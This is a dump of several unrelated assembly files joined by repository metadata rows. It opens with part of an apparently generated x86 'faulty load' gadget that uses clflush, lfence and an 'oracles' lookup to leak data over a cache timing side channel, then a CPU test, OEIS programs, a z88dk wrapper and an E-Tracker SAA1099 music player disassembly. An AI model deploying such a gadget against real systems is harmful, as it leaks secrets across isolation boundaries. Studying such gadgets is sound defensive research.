and $58303, %rsi
lea addresses_normal_ht+0x164f4, %rcx
nop
nop
nop
nop
add %rbx, %rbx
movups (%rcx), %xmm3
vpextrq $0, %xmm3, %r13
nop
nop
nop
add %r13, %r13
lea addresses_normal_ht+0xbdec, %rcx
clflush (%rcx)
dec %rbp
mov (%rcx), %r8w
nop
nop
nop
nop
nop
cmp $56195, %rbp
lea addresses_UC_ht+0x1c353, %rsi
lea addresses_normal_ht+0x11c5a, %rdi
nop
nop
nop
nop
nop
and $54118, %r12
mov $34, %rcx
rep movsw
nop
nop
xor $13740, %rbp
lea addresses_D_ht+0x50f4, %rsi
and $60428, %r12
mov $0x6162636465666768, %r13
movq %r13, %xmm0
movups %xmm0, (%rsi)
nop
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_UC_ht+0x82f4, %rsi
lea addresses_UC_ht+0x16334, %rdi
nop
nop
nop
nop
nop
sub $55099, %r12
mov $105, %rcx
rep movsw
nop
nop
nop
sub %r13, %r13
lea addresses_UC_ht+0x1b3b4, %r13
nop
sub %rsi, %rsi
movups (%r13), %xmm4
vpextrq $1, %xmm4, %rcx
nop
nop
nop
nop
nop
and %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
// Load
lea addresses_D+0x5bb4, %rsi
and %r15, %r15
mov (%rsi), %r11
nop
nop
nop
and $61237, %r15
// REPMOV
lea addresses_A+0x7440, %rsi
lea addresses_normal+0xe4f4, %rdi
clflush (%rdi)
nop
nop
nop
nop
and %r10, %r10
mov $95, %rcx
rep movsl
nop
nop
nop
add $59819, %rsi
// Load
lea addresses_WC+0xe2f4, %rcx
nop
nop
nop
sub %r10, %r10
vmovups (%rcx), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %r9
nop
lfence
// Faulty Load
lea addresses_WC+0xe2f4, %rsi
nop
nop
nop
nop
nop
cmp %r15, %r15
mov (%rsi), %rax
lea oracles, %rdi
and $0xff, %rax
shlq $12, %rax
mov (%rdi,%rax,1), %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': True, 'size': 8, 'type': 'addresses_D', 'congruent': 5}}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_A'}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 8}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 3}}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 3}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 33.03211 | 2,999 | 0.658242 |
18deb2e43864ce51295dc7029fb0f7cf100a8cad | 145 | asm | Assembly | Sim/tests/07_test_jump.asm | ericsims/16B | d0921ae55e2b830531dd7dd5e71ea1fd2bdb10bc | [
"MIT"
] | null | null | null | Sim/tests/07_test_jump.asm | ericsims/16B | d0921ae55e2b830531dd7dd5e71ea1fd2bdb10bc | [
"MIT"
] | null | null | null | Sim/tests/07_test_jump.asm | ericsims/16B | d0921ae55e2b830531dd7dd5e71ea1fd2bdb10bc | [
"MIT"
] | null | null | null | #include "../CPU.asm"
#bank rom
top:
load a, #0xAA
assert a, #0xAA
jmp next
assert a, #0x00
halt
next:
load a, #0xBB
assert a, #0xBB;
halt | 7.631579 | 21 | 0.641379 |
bb1c4792d274566eaa4272d3f237b7ce86186f9c | 690 | asm | Assembly | oeis/022/A022316.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/022/A022316.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/022/A022316.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A022316: a(n) = a(n-1) + a(n-2) + 1, with a(0) = 0 and a(1) = 11.
; Submitted by Jamie Morken(s4)
; 0,11,12,24,37,62,100,163,264,428,693,1122,1816,2939,4756,7696,12453,20150,32604,52755,85360,138116,223477,361594,585072,946667,1531740,2478408,4010149,6488558,10498708,16987267,27485976,44473244,71959221,116432466,188391688,304824155,493215844,798040000,1291255845,2089295846,3380551692,5469847539,8850399232,14320246772,23170646005,37490892778,60661538784,98152431563,158813970348,256966401912,415780372261,672746774174,1088527146436,1761273920611,2849801067048,4611074987660,7460876054709
mov $1,1
mov $2,11
lpb $0
sub $0,1
mov $3,$2
mov $2,$1
add $1,$3
lpe
mov $0,$1
sub $0,1
| 46 | 492 | 0.773913 |
65d927bbaa9105012fafde5e0ed65402b810b948 | 410 | asm | Assembly | programs/oeis/127/A127752.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/127/A127752.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/127/A127752.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A127752: Row sums of inverse of number triangle A(n,k) = 1/(3n+1) if k <= n <= 2k, 0 otherwise.
; 1,4,3,7,3,6,3,10,3,6,3,9,3,6,3,13,3,6,3,9,3,6,3,12,3,6,3,9,3,6,3,16,3,6,3,9,3,6,3,12,3,6,3,9,3,6,3,15,3,6,3,9,3,6,3,12,3,6,3,9,3,6,3,19,3,6,3,9,3,6,3,12,3,6,3,9,3,6,3,15,3,6,3,9,3,6,3,12,3,6,3,9,3,6,3,18,3,6,3,9
mov $2,$0
lpb $0
mod $0,2
add $1,2
add $1,$0
div $2,2
mul $0,$2
lpe
add $1,1
mov $0,$1
| 29.285714 | 213 | 0.539024 |
f90a66e32465d4f1d4d6cb7f3b23ecf8544f9f39 | 263 | asm | Assembly | libsrc/_DEVELOPMENT/temp/sp1/zx/c/sdcc_iy/sp1_DrawUpdateStructIfNotRem_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/temp/sp1/zx/c/sdcc_iy/sp1_DrawUpdateStructIfNotRem_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/temp/sp1/zx/c/sdcc_iy/sp1_DrawUpdateStructIfNotRem_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; sp1_DrawUpdateStructIfNotRem(struct sp1_update *u)
SECTION code_clib
SECTION code_temp_sp1
PUBLIC _sp1_DrawUpdateStructIfNotRem_fastcall
EXTERN asm_sp1_DrawUpdateStructIfNotRem
defc _sp1_DrawUpdateStructIfNotRem_fastcall = asm_sp1_DrawUpdateStructIfNotRem
| 21.916667 | 78 | 0.901141 |
18964e44fe91c4ee1b57470a354bb3ef95b63925 | 23,701 | asm | Assembly | libsrc/psg/saa1099/etracker/etracker.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/psg/saa1099/etracker/etracker.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/psg/saa1099/etracker/etracker.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; Disassembly of the compiled E-Tracker player
;
; (C) 2020-2021 Stefan Drissen
;
; Object code (C) 1992 ESI
;----------------------------------------------
; row as shown in E-Tracker editor:
;
; | 000 | --- 0000 | --- 0000 | --- 0000
; row |/| ||command + parameter
; | | |+- ornament
; | | +-- instrument
; | +- octave
; +--- note
; note: C C# D D# E F F# G G# A A# B
; octave: 1-8
; instrument: 1-9 A-V (= 31 instruments)
; ornament: 1-9 A-V (= 31 ornaments)
; command:
; 0 no change
; 1 envelope generator - [0-c] see cmd_envelope
; 2 instrument inversion - [0-1] see cmd_instrument_inversion
; 3 tune delay (default 6)- [0-f] see cmd_tune_delay
; 4 volume reduction - [0-f] see cmd_volume_reduction
; 5 extended noise - [0-1] see cmd_extended_noise
; 6 stop sound see cmd_stop_sound
; 7 no change
IF __CPU_Z80__ | __CPU_Z80N__
MODULE etracker
SECTION smc_clib
PUBLIC asm_etracker_init
PUBLIC asm_etracker_play
defc asm_etracker_init = init
defc asm_etracker_play = etracker_play
include "saa1099.def"
include "ports.def"
;==============================================
etracker_init:
ld hl,module
jp init
;==============================================
etracker_play:
var_delay:
ld a,1
dec a
jr nz,same_notes
ld ix,str_channel_0
ld b,6
loop1:
push bc
call get_note
ld bc,str_channel_size
add ix,bc
pop bc
djnz loop1
ld hl,(var_noise_0)
ld a,h
call swap_nibbles_a
or l
ld (var_noise_extended+1),a
var_tune_delay:
ld a,6
same_notes:
ld (var_delay+1),a
;----------------------------------------------
ld ix,str_channel_0
call update_channel ; sets a, l, a'
ld (out + saa_register_amplitude_0),a
ld (out + saa_register_frequency_tone_0),hl
push hl
ld hl,0
call get_noise ; move lower two bits of a' into l and h
ld (store_noise1+1),hl
ld (var_noise_gen_0+1),a
;----------------------------------------------
ld ix,str_channel_1
call update_channel
ld (out + saa_register_amplitude_1),a
ld (out + saa_register_frequency_tone_1),hl
push hl
store_noise1:
ld hl,0
call get_noise
ld (store_noise2+1),hl
rl h
jr nc,no_noise1
ld (var_noise_gen_0+1),a
no_noise1:
;----------------------------------------------
ld ix,str_channel_2
call update_channel
ld (out + saa_register_amplitude_2),a
ld (out + saa_register_frequency_tone_2),hl
push hl
store_noise2:
ld hl,0
call get_noise
ld (store_noise3+1),hl
rl h
jr nc,no_noise2
ld (var_noise_gen_0+1),a
no_noise2:
;----------------------------------------------
ld ix,str_channel_3
call update_channel
ld (out + saa_register_amplitude_3),a
ld (out + saa_register_frequency_tone_3),hl
push hl
store_noise3:
ld hl,0
call get_noise
ld (store_noise4+1),hl
ld (var_noise_gen_1+1),a
;----------------------------------------------
ld ix,str_channel_4
call update_channel
ld (out + saa_register_amplitude_4),a
ld (out + saa_register_frequency_tone_4),hl
push hl
store_noise4:
ld hl,0
call get_noise
ld (store_noise5+1),hl
rl h
jr nc,no_noise3
ld (var_noise_gen_1+1),a
no_noise3:
;----------------------------------------------
ld ix,str_channel_5
call update_channel
ld (out + saa_register_amplitude_5),a
ld (out + saa_register_frequency_tone_5),hl
push hl
store_noise5:
ld hl,0
call get_noise
rr l
rr l
rr h
rr h
ld (out + saa_register_frequency_enable),hl
rlca
jr c,no_noise4
var_noise_gen_1: ; set by instruments ch3-ch5
ld a,0
rlca
no_noise4:
rlca
rlca
rlca
var_noise_gen_0: ; set by instruments ch0-ch2
or 0
var_noise_extended: ; set by cmd_extended_noise
or 0
ld (out + saa_register_noise_generator_1_0),a
pop af ; tone channel 5
pop bc ; tone channel 4
call swap_nibbles_a
or b
ld h,a
pop af ; tone channel 3
pop bc ; tone channel 2
call swap_nibbles_a
or b
ld l,a
ld (out + saa_register_octave_3_2),hl
pop af ; tone channel 1
pop bc ; tone channel 0
call swap_nibbles_a
or b
ld (out + saa_register_octave_1_0),a
ld bc,port_sound_address
ld de,saa_register_sound_enable * $100 + saa_se_channels_enabled
out (c),d
dec b ; -> b = port_sound_data
out (c),e
if SILENT
xor a
ld hl,out + saa_register_amplitude_0
ld (hl),a ; 0
inc hl
ld (hl),a ; 1
inc hl
; ld (hl),a ; 2 ! bleep
inc hl
ld (hl),a ; 3
inc hl
ld (hl),a ; 4
inc hl
ld (hl),a ; 5
;!!! silence channels
endif
ld hl,out + saa_register_envelope_generator_1
ld d,saa_register_envelope_generator_1 ; $19
loop2:
inc b ; -> b = port_sound_address
out (c),d
dec b ; -> b = port_sound_data
ld a,(hl)
out (c),a
dec d
ret m ; d = -1
dec hl
jr loop2
;----------------------------------------------
frequency_note:
defb $05 ; B
defb $21 ; C
defb $3c ; C#
defb $55 ; D
defb $6d ; D#
defb $84 ; E
defb $99 ; F
defb $ad ; F#
defb $c0 ; G
defb $d2 ; G#
defb $e3 ; A
defb $f3 ; A#
;----------------------------------------------
instrument_none:
defb $fe ; set loop
defb $01
defb $00
defb $00
defb $fc ; get loop
;----------------------------------------------
list_envelopes:
enabled: equ saa_envelope_enabled
bits_3: equ saa_envelope_bits_3
bits_4: equ saa_envelope_bits_4
same: equ saa_envelope_left_right_same
inverse: equ saa_envelope_left_right_inverse
defb same | bits_4 | saa_envelope_mode_zero | saa_envelope_reset
defb same | bits_3 | saa_envelope_mode_repeat_decay | enabled ; 1
defb same | bits_3 | saa_envelope_mode_repeat_attack | enabled ; 2
defb same | bits_3 | saa_envelope_mode_repeat_triangle | enabled ; 3
defb same | bits_4 | saa_envelope_mode_repeat_decay | enabled ; 4
defb same | bits_4 | saa_envelope_mode_repeat_attack | enabled ; 5
defb same | bits_4 | saa_envelope_mode_repeat_triangle | enabled ; 5
defb inverse | bits_3 | saa_envelope_mode_repeat_decay | enabled ; 7
defb inverse | bits_3 | saa_envelope_mode_repeat_attack | enabled ; 8
defb inverse | bits_3 | saa_envelope_mode_repeat_triangle | enabled ; 9
defb inverse | bits_4 | saa_envelope_mode_repeat_decay | enabled ; A
defb inverse | bits_4 | saa_envelope_mode_repeat_attack | enabled ; B
defb inverse | bits_4 | saa_envelope_mode_repeat_triangle | enabled ; C
;----------------------------------------------
ornament_none:
defb $fe ; set loop
defb $00
defb $ff ; get loop
;==============================================
list_commands:
; jr table, used to adjust jr at smc_command_jr
; first byte of each pair is compared, if command is
; equal or higher, jr is used else proceed to next
; -> compare bytes must be in descending order
; the subtracted value is in c
offset: equ smc_command_jr + 2
defb $d2 ; [$d2-$ff] -> c = [$00-$2d]
defb cmd_set_delay_next_note - offset
defb $72 ; [$72-$d2] -> c = [$00-$60]
defb cmd_set_note - offset
defb $52 ; [$52-$71] -> c = [$00-$1f]
defb cmd_set_instrument - offset
defb $51 ; [$51] -> c = $00
defb cmd_end_of_track - offset
defb $50 ; [$50] -> c = $00
defb cmd_stop_sound - offset
defb $30 ; [$30-$4f] -> c = [$00-$1f]
defb cmd_set_ornament - offset
defb $2e ; [$2e-$2f] -> c = [$00-$01]
defb cmd_instrument_inversion - offset
defb $21 ; [$21-2$d] -> c = [$00-$0c]
defb cmd_envelope - offset
defb $11 ; [$11-$20] -> c = [$00-$0f]
defb cmd_volume_reduction - offset
defb $0f ; [$0f-$10] -> c = [$00-$01]
defb cmd_extended_noise - offset
defb $00 ; [$00-$0f] -> c = [$00-$0f]
defb cmd_tune_delay - offset
;==============================================
swap_nibbles_a:
rlca
rlca
rlca
rlca
ret
;==============================================
get_noise:
; move lower two bits of a' into l and h
ex af,af'
rrca ; move bit 0 of a into carry
rr l ; move carry bit into bit 7 of l
rrca ; move bit 0 of a into carry
rr h ; move carry bit into bit 7 of h
ret
;==============================================
bc_eq_section_c:
; input
; hl = index
; c = section
; output
; bc = address
;----------------------------------------------
sla c
ld b,0
jr nc,$+3
inc b
add hl,bc ; bc = c * 2
bc_eq_section:
ld c,(hl)
inc hl
ld b,(hl)
inc hl
push hl
var_module_start:
ld hl,0
add hl,bc
ld c,l
ld b,h
pop hl
ret
;==============================================
cmd_set_instrument:
; input
; c = [$00-$1f]
var_instruments:
ld hl,0
call bc_eq_section_c
ld (ix+ch_ptr_instrument_start ),c
ld (ix+ch_ptr_instrument_start+1),b
ld hl,instrument_none
ld (ix+ch_ptr_instrument_loop ),l
ld (ix+ch_ptr_instrument_loop+1),h
jr set_instrument
;==============================================
cmd_set_ornament:
; input
; c = [$00-$1f]
var_ornaments:
ld hl,0
call bc_eq_section_c
ld (ix+ch_ptr_ornament_start ),c
ld (ix+ch_ptr_ornament_start+1),b
ld hl,ornament_none
ld (ix+ch_ptr_ornament_loop ),l
ld (ix+ch_ptr_ornament_loop+1),h
jr set_ornament
;==============================================
get_note:
; input
; b = counter channel
; 6 0 freq noise generator 0
; 5 1 freq internal envelope clock
; 4 2
; 3 3 freq noise generator 1
; 2 4 freq internal envelope clock
; 1 5
; ix = ptr_channel
;
; BUG: envelope set in channel 3 sets incorrect envelope generator
;----------------------------------------------
dec (ix+ch_delay_next_note)
ret p ; ret when (ix+ch_delay_next_note) > 0
ld a,b
cp 3 ; !!! bug - should be cp 4 according to DTA
ld hl,out + saa_register_envelope_generator_0
jr nc,$+3 ; b >= 3 (-> channel <= 3, should be <= 2)
inc hl ; hl = envelope_generator_1
ld (ptr_envelope_generator+1),hl
get_note_again:
ld e,(ix+ch_ptr_track )
ld d,(ix+ch_ptr_track+1)
get_command:
ld hl,list_commands - 1
find1:
ld a,(de)
inc hl
sub (hl)
inc hl
jr c,find1 ; (hl) > a
inc de
ld c,a
ld a,(hl)
ld (smc_command_jr+1),a ; update jr below
smc_command_jr:
jr smc_command_jr ; smc = command from list_commands
;==============================================
cmd_set_note:
; input
; c = [$00-$60]
ld (ix+ch_note),c
ld c,(ix+ch_ptr_instrument_start )
ld b,(ix+ch_ptr_instrument_start+1)
;----------------------------------------------
set_instrument:
ld (ix+ch_ptr_instrument ),c
ld (ix+ch_ptr_instrument+1),b
ld c,(ix+ch_ptr_ornament_start )
ld b,(ix+ch_ptr_ornament_start+1)
;----------------------------------------------
set_ornament:
ld (ix+ch_ptr_ornament ),c
ld (ix+ch_ptr_ornament+1),b
ld (ix+ch_delay_next_ornament),1
ld (ix+ch_delay_next_instrument),1
ld (ix+ch_delay_next_volume),1
jr get_command
;==============================================
cmd_envelope: ; turn on or off envelope generator
; input
; c = envelope [$00-$0c]
ld b,0
ld hl,list_envelopes
add hl,bc
ld a,(hl)
ptr_envelope_generator:
ld (0),a ; out + saa_register_envelope_generator_0 or 1
jr get_command
;==============================================
cmd_instrument_inversion: ; turn on or off instrument inversion
; input
; c = [$00-$01]
ld (ix+ch_instrument_inversion),c
jr get_command
;==============================================
cmd_tune_delay:
; input
; c = [$00-$0f]
ld a,c
inc a
ld (var_tune_delay+1),a
jr get_command
;==============================================
cmd_volume_reduction: ; volume reduction
; input
; c = [$00-$0f]
ld (ix+ch_volume_reduction),c
jr get_command
;==============================================
cmd_extended_noise:
; input
; c = [$00-$01]
jr z,extended_noise_off
ld c,saa_noise_0_variable
extended_noise_off:
ld hl,(ptr_envelope_generator+1) ; hl = out_envelope_generator_0 or 1
inc hl
inc hl
ld (hl),c ; hl = var_noise_0 or 1
jr get_command
;==============================================
cmd_stop_sound:
ld bc,instrument_none
jr set_instrument
;==============================================
cmd_set_delay_next_note:
; input
; c = [$00-$2d]
ld (ix+ch_delay_next_note),c
ld (ix+ch_ptr_track ),e
ld (ix+ch_ptr_track+1),d
ret
;==============================================
cmd_end_of_track:
call read_song_table
jp get_note_again
;==============================================
handle_instrument_loop_or_delay:
cp $7f ; a was $fe
jr z,set_instrument_loop
cp $7e ; a was $fc
jr z,get_instrument_loop
add a,2
ld c,a ; delay until next command
jr handle_instrument
;----------------------------------------------
set_instrument_loop:
ld (ix+ch_ptr_instrument_loop ),l
ld (ix+ch_ptr_instrument_loop+1),h
jr handle_instrument
;----------------------------------------------
get_instrument_loop:
ld l,(ix+ch_ptr_instrument_loop )
ld h,(ix+ch_ptr_instrument_loop+1)
jr handle_instrument
;==============================================
handle_ornament_loop_or_delay:
inc a
jr z,get_ornament_loop ; a was $ff
inc a
jr z,set_ornament_loop ; a was $fe
sub 8 * 12
ld c,a ; c = delay until next command
jr handle_ornament
;----------------------------------------------
get_ornament_loop:
ld l,(ix+ch_ptr_ornament_loop )
ld h,(ix+ch_ptr_ornament_loop+1)
jr handle_ornament
;----------------------------------------------
set_ornament_loop:
ld (ix+ch_ptr_ornament_loop ),l
ld (ix+ch_ptr_ornament_loop+1),h
jr handle_ornament
;==============================================
update_channel:
; input
; ix = ptr_channel
; output
; a = amplitude
; l = tone
; a' = noise
;----------------------------------------------
ld e,(ix+ch_ptr_instrument_pitch )
ld d,(ix+ch_ptr_instrument_pitch+1)
dec (ix+ch_delay_next_instrument)
ld l,(ix+ch_ptr_instrument )
ld h,(ix+ch_ptr_instrument+1)
jr nz,no_instrument_change
ld c,1
handle_instrument:
ld a,(hl)
inc hl
rrca
jr nc,handle_instrument_loop_or_delay ; a = even - returns c with delay until next command
ld (ix+ch_delay_next_instrument),c
ld (ix+ch_ptr_instrument_pitch+1),a
ld e,(hl)
ld d,a
ld (ix+ch_ptr_instrument_pitch),e
inc hl
no_instrument_change:
push hl
ld a,(ix+ch_ornament_note)
dec (ix+ch_delay_next_ornament)
jr nz,no_ornament_change
ld c,1
ld l,(ix+ch_ptr_ornament )
ld h,(ix+ch_ptr_ornament+1)
handle_ornament:
ld a,(hl)
inc hl
cp 8 * 12 ; ornament values capped at 8 octaves
; since they wrap around anyway
jr nc,handle_ornament_loop_or_delay ; a >= 8 * 12
ld (ix+ch_delay_next_ornament),c
ld (ix+ch_ornament_note),a
ld (ix+ch_ptr_ornament ),l
ld (ix+ch_ptr_ornament+1),h
no_ornament_change:
add a,(ix+ch_note)
cp 8 * 12 - 1
ld hl,$07ff ; maximum octave (7) + note ($ff)
jr z,max_note ; a == $5f
var_pattern_height:
add a,0 ; set
jr nc,$+4
sub 8 * 12
ld hl,$ff0c ; h = -1, l = 12
ld b,h
loop3:
inc h
sub l ; l = 12 = octave
jr nc,loop3
; h = octave
ld c,a
ld a,h
ld hl,frequency_note + 12
add hl,bc
ld l,(hl)
ld h,a ; hl = octave + frequency
max_note:
add hl,de ; de = instrument_pitch
ld a,h
and $07 ; prevent octave overflow
ld h,a
ld a,d
rrca
rrca
rrca
and $0f
ex af,af' ; a' used by get_noise to fill bit 7 of h $ bit 7 of l
ex de,hl
pop hl ; <- ch_ptr_instrument
ld a,(ix+ch_volume)
dec (ix+ch_delay_next_volume)
jr nz,no_volume_change
ld a,(hl)
inc hl
var_default_volume_delay:
cp 0
jr nz,handle_volume_delay
ld c,(hl) ; delay next volume change
inc hl
get_volume_hl:
ld a,(hl) ; volume
inc hl
use_volume_a:
ld (ix+ch_delay_next_volume),c
no_volume_change:
ld (ix+ch_ptr_instrument ),l
ld (ix+ch_ptr_instrument+1),h
ld (ix+ch_volume),a
ex de,hl
ld b,(ix+ch_volume_reduction)
ld c,a
and $0f
sub b
jr nc,volume_ge_0__1
xor a
volume_ge_0__1:
ld e,a
ld a,c
and $f0
call swap_nibbles_a
sub b
jr nc,volume_ge_0__2
xor a
volume_ge_0__2:
ld d,a
ld a,(ix+ch_instrument_inversion)
or a
ld a,e
jr nz,inverted
ld a,d
ld d,e
inverted:
call swap_nibbles_a
or d
ret
;==============================================
handle_volume_delay:
; input
; a = value to lookup
; output
; c = value of entry that matches b
push hl
ld b,a
var_volume_delay:
ld hl,0
find2:
ld a,(hl)
or a
jr z,not_found
inc hl
ld c,(hl)
inc hl
cp b
jr nz,find2
pop hl
jr get_volume_hl
;----------------------------------------------
not_found:
pop hl
ld c,1
ld a,b
